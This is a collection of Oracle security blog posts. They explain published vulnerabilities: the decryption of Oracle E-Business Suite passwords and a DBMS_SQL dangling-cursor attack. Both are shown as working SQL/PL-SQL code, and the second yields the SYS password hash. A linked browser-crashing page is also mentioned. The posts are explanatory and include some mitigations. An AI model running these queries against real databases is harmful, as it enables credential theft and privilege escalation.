David Litchfield has just published two chapters from his book The Oracle Hacker’s Handbook: Hacking and Defending Oracle.
Indirect Privilege Escalation (PDF)
In this chapter, David gives two examples, one with CREATE ANY TRIGGER and another with CREATE ANY VIEW to demonstrate how these privileges can be abused to gain DBA privileges. In fact, a user who has the CREATE ANY x privilege can trivially gain DBA privileges, and SQL injection has a lot to do with it.
Defeating Virtual Private Databases (PDF)
Virtual Private Databases (VPDs) allow a user to access only the data that the policy specifies they can access, and no more. In this chapter, David demonstrates how to trick Oracle into dropping a policy and how to defeat VPDs with raw file access. Again, SQL injection is the main culprit.
Filed in Oracle, Tips with Comments Off | Tags: hack, Security, sql-injectionJohan Louwers published an Oracle Applications passwords decryption vulnerability that allows a malicious user to expose the passwords of any Oracle Applications user. In Oracle E-Business Suite, usernames and their encrypted passwords are stored in the table fnd_user:
SQL> desc fnd_user;
Name Null? Type
----------------------------------------- -------- ----------------
USER_ID NOT NULL NUMBER(15)
USER_NAME NOT NULL VARCHAR2(100)
LAST_UPDATE_DATE NOT NULL DATE
LAST_UPDATED_BY NOT NULL NUMBER(15)
CREATION_DATE NOT NULL DATE
CREATED_BY NOT NULL NUMBER(15)
LAST_UPDATE_LOGIN NUMBER(15)
ENCRYPTED_FOUNDATION_PASSWORD NOT NULL VARCHAR2(100)
ENCRYPTED_USER_PASSWORD NOT NULL VARCHAR2(100)
...
The column ENCRYPTED_USER_PASSWORD stores the encrypted value of the user’s password. The column ENCRYPTED_FOUNDATION_PASSWORD stores the encrypted value of the guest user.
To decrypt the ENCRYPTED_USER_PASSWORD you need access to the DECRYPT function in the APPS.FND_WEB_SEC package. Since DECRYPT is a private function, you need to add the declaration of this function to the package specification so that you can use it outside the package.
FUNCTION decrypt(key IN VARCHAR2, value IN VARCHAR2)
RETURN VARCHAR2;
The key is the decrypted ENCRYPTED_FOUNDATION_PASSWORD. The value is the ENCRYPTED_USER_PASSWORD.
So, the first step in the decryption of a user’s password is to decrypt the ENCRYPTED_FOUNDATION_PASSWORD. This can be accomplished by executing the following query:
WITH guest AS
(
SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD')) user_pwd,
UPPER (SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD'),
1,
INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'),
'/'
)
- 1
)
) user_name
FROM DUAL)
SELECT fnd_web_sec.decrypt (guest.user_pwd,
fnd_user.encrypted_foundation_password
) apps_password
FROM fnd_user,
guest
WHERE fnd_user.user_name = guest.user_name
Now, using the above query, we can now decrypt all the values in the FND_USER.ENCRYPTED_USER_PASSWORD column:
WITH guest AS
(
SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD')) user_pwd,
UPPER (SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD'),
1,
INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'),
'/'
)
- 1
)
) user_name
FROM DUAL)
SELECT fnd_user.user_name,
fnd_web_sec.decrypt
((SELECT fnd_web_sec.decrypt
(guest.user_pwd,
fnd_user.encrypted_foundation_password
) apps_password
FROM fnd_user,
guest
WHERE fnd_user.user_name = guest.user_name),
fnd_user.encrypted_user_password
) decrypted_user_password
FROM fnd_user
ORDER BY fnd_user.user_name
VOILA!
Of course, in order for the above queries to work, you have to have the privilege to modify and compile the package APPS.FND_WEB_SEC. Assuming that you do have this privilege on a development instance and assuming that passwords are not reset when a development instance is refreshed from a production instance, this can represent a serious security risk.
Updated a few hours later: Stephen Kost just blogged about this subject. He writes that since the decryption routine is a Java class, it is actually easy to create a Java application that calls the decrypt method. So, no need to even have access to a database to run the decrypt. Moreover, he does not expect Oracle to fix this password weakness in the foreseeable future. He also offers a few recommendations to improve the security of the user passwords, like making sure that APPLSYSPUB does not have SELECT privileges on APPS.FND_USER_VIEW, changing the passwords for all Oracle Applications 11i seeded accounts, creating all new user accounts with strong and unique passwords and limiting access to the APPLSYS.FND_USER and APPLSYS.FND_ORACLE_USERID tables by all non-DBA accounts.
Updated January 9 2007: Oracle Applications Password Decryption (PDF)
Filed in Oracle, Security with 18 Comments | Tags: E-Business-Suite, hackDavid Litchfield published a paper demonstrating how an unclosed or dangling cursor created and used by DBMS_SQL can lead to a security hole.
I ran his proof of this vulnerability on my Oracle Database 10g Express Edition database.
Connected as SYS:
SQL> CREATE OR REPLACE PROCEDURE pwd_compare(p_user VARCHAR) IS
2 cursor_name INTEGER;
3 v_pwd VARCHAR2(30);
4 i INTEGER;
5 BEGIN
6
7 IF p_user != 'SYS' THEN
8 cursor_name := dbms_sql.open_cursor;
9 DBMS_OUTPUT.PUT_LINE('CURSOR: ' || cursor_name);
10 dbms_sql.parse(cursor_name,
11 'SELECT PASSWORD FROM SYS.DBA_USERS WHERE USERNAME = :u',
12 dbms_sql.native);
13 dbms_sql.bind_variable(cursor_name, ':u', p_user);
14 dbms_sql.define_column(cursor_name, 1, v_pwd, 30);
15 i := dbms_sql.EXECUTE(cursor_name);
16
17 IF dbms_sql.fetch_rows(cursor_name) > 0 THEN
18 dbms_sql.column_value(cursor_name, 1, v_pwd);
19 END IF;
20
21 IF v_pwd = '0123456789ABCDEF' THEN
22 DBMS_OUTPUT.PUT_LINE('Hmmm....');
23 END IF;
24
25 dbms_sql.close_cursor(cursor_name);
26 END IF;
27
28 END;
29 /
Procedure created.
SQL> GRANT EXECUTE ON pwd_compare TO PUBLIC;
Grant succeeded.
Note that, in the code above, there is no exception handling so if there is an error before the cursor is closed then the cursor will be left dangling.
Now, let’s connect as HR, a lower privileged user than SYS, and execute the procedure pwd_compare making sure we generate an exception in it:
SQL> DECLARE x VARCHAR(32000);
2 i INTEGER;
3 BEGIN
4 FOR i IN 1 .. 10000
5 LOOP
6 x := 'B' || x;
7 END LOOP;
8
9 sys.pwd_compare(x);
10 END;
11 /
CURSOR: 6
DECLARE x VARCHAR(32000);
*
ERROR at line 1:
ORA-01460: unimplemented or unreasonable conversion requested
ORA-06512: at "SYS.DBMS_SYS_SQL", line 1202
ORA-06512: at "SYS.DBMS_SQL", line 323
ORA-06512: at "SYS.PWD_COMPARE", line 15
ORA-06512: at line 9
What we have now is a dangling cursor with an ID number of 6. Armed with this piece of information we can rebind the username associated with the query, using SYS, then re-execute the query and extract the password hash for the SYS user bypassing the logic in the procedure pwd_compare:
SQL> DECLARE cursor_name INTEGER;
2 i INTEGER;
3 pwd VARCHAR2(30);
4 BEGIN
5 cursor_name := 6;
6 dbms_sql.bind_variable(cursor_name, ':u', 'SYS');
7 dbms_sql.define_column(cursor_name, 1, pwd, 30);
8 i := dbms_sql.EXECUTE(cursor_name);
9
10 IF dbms_sql.fetch_rows(cursor_name) > 0 THEN
11 dbms_sql.column_value(cursor_name, 1, pwd);
12 END IF;
13
14 dbms_sql.close_cursor(cursor_name);
15 DBMS_OUTPUT.PUT_LINE('PWD: ' || pwd);
16 END;
17 /
PWD: 586EEA79959C07B1
PL/SQL procedure successfully completed.
Interesting!
Lessons learned:
Sources and resources:
I stumbled upon this website which has the following interesting screencasts demonstrating the use of a penetration testing tool for Linux:
(IE may not display the screencasts correctly. Best viewed in Firefox)
It also has this interesting, and rather disturbing, animated GIF image:
And finally, a web page that crashes your system, especially if you open it up in an outdated web browser:
_____ DO NOT CLICK HERE _____
If you are still curious about what that web page does, here is the HTML code (may still crash your system if using IE – open it at your own risk).
Here is what I think, in order to fully protect your system from all of these exploits and attacks you have got to learn all of these hacking techniques and tools. To outsmart “bad” hackers, you have to be a “good” hacker yourself.
Filed in Interesting Stuff, Technology with Comments Off | Tags: hack, Security